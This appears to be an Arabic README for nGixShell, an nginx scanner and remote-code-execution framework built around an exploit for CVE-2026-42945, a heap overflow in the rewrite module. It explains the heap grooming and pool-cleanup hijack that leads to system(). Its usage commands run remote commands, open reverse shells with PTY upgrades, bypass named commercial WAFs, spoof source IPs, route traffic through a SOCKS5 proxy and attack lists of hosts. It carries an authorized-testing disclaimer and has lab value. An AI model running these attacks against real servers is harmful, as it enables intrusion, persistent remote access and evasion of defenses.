nGixshell

nGixShell هو ماسح ضوئي لثغرات nginx وإطار عمل لاستغلال RCE. يأتي مع إثبات مفهوم عملي لـ CVE-2026-42945 — وهو تجاوز سعة حرج للمخزن المؤقت في الكومة (heap buffer overflow) في ngx_http_rewrite_module — وماسح يغطي 53 ثغرة من ثغرات nginx مع فحوصات HTTP آلية، وبصمة الخادم، واكتشاف/تجاوز WAF، وتدقيق أمان الويب، وتوليد التقارير.

صفر تبعيات خارجية. مكتبة Python 3 القياسية فقط.

بدء سريع

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

لا حاجة لأي خيارات — توجيه الأداة إلى هدف يُشغّل كل شيء تلقائيًا.
TLS يُكتشف تلقائيًا. يتم التعرف على بصمة nginx حتى مع تفعيل server_tokens off.

الاستخدام

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

الأوضاع

اكتشاف WAF وتجاوزه

تقنيات التجاوز (جميعها نشطة عند ضبط --waf-bypass):

واجهات WAF المكتشفة: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

تدقيق الويب

يعمل تلقائيًا في وضع الفحص. يمكن تخطي جميع الوحدات بشكل فردي.

• تدقيق الترويسات — HSTS وCSP وX-Frame-Options وX-Content-Type-Options وReferrer-Policy وPermissions-Policy وترويسات كشف الإصدار
• اكتشاف المسارات — أكثر من 50 مسارًا؛ يزيل فحص الحارس (sentinel) النتائج الإيجابية الخاطئة الناتجة عن قواعد الالتقاط الشامل 403/301
• تعداد المضيفات الافتراضية — يتطلب اختلاف حالة الاستجابة AND ومحتوى الجسم لتجنب النتائج الإيجابية الخاطئة للكتلة الافتراضية
• تدقيق TLS — يختبر دعم TLS 1.0–1.3، وانتهاء صلاحية الشهادات، وكشف الشهادات ذاتية التوقيع
• stub_status — يحلل مقاييس الاتصالات النشطة من /nginx_status إذا كان مكشوفًا

الاتصال

HTTP

المعدل / التوقيت

المخرجات

تغطية الثغرات CVE

53 إدخالًا تمتد من 2009 حتى 2026. مرتبة حسب CVSS.

الثغرة (CVE-2026-42945)

يستخدم محرك سكربت إعادة الكتابة في nginx نموذج ثنائي المرور: حساب حجم المخزن المؤقت، ثم النسخ. يتم ضبط العلم is_args على المحرك الرئيسي عندما يحتوي بديل rewrite على ?، لكن مرور حساب الطول يعمل على محرك فرعي تم تصفيره حديثًا:

• مرور الطول — يرى is_args = 0 ← يعيد طول الالتقاط الخام
• مرور النسخ — يرى is_args = 1 ← يستدعي ngx_escape_uri(NGX_ESCAPE_ARGS)، موسّعًا كل بايت غير آمن إلى 3 بايتات

يؤدي النسخ إلى تجاوز سعة المخزن المؤقت للكومة صغير الحجم ببيانات URI يتحكم بها المهاجم. يُفسد الاستغلال مؤشر تنظيف ngx_pool_t مجاورًا عبر هندسة كومة عبر الطلبات (cross-request heap feng shui)، معيدًا توجيهه إلى ngx_pool_cleanup_s مزيف يستدعي system() عند تدمير التجمع.

الإصدارات المتأثرة

نشرة البائع الأمنية: https://my.f5.com/manage/s/article/K000160932

إعداد المختبر

تم اختباره على Ubuntu 24.04 LTS. يتطلب Docker وPython 3.8+.

# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

إخلاء مسؤولية

للاستخدام في اختبارات الأمان المصرح بها، ومسابقات CTF، والأغراض البحثية فقط.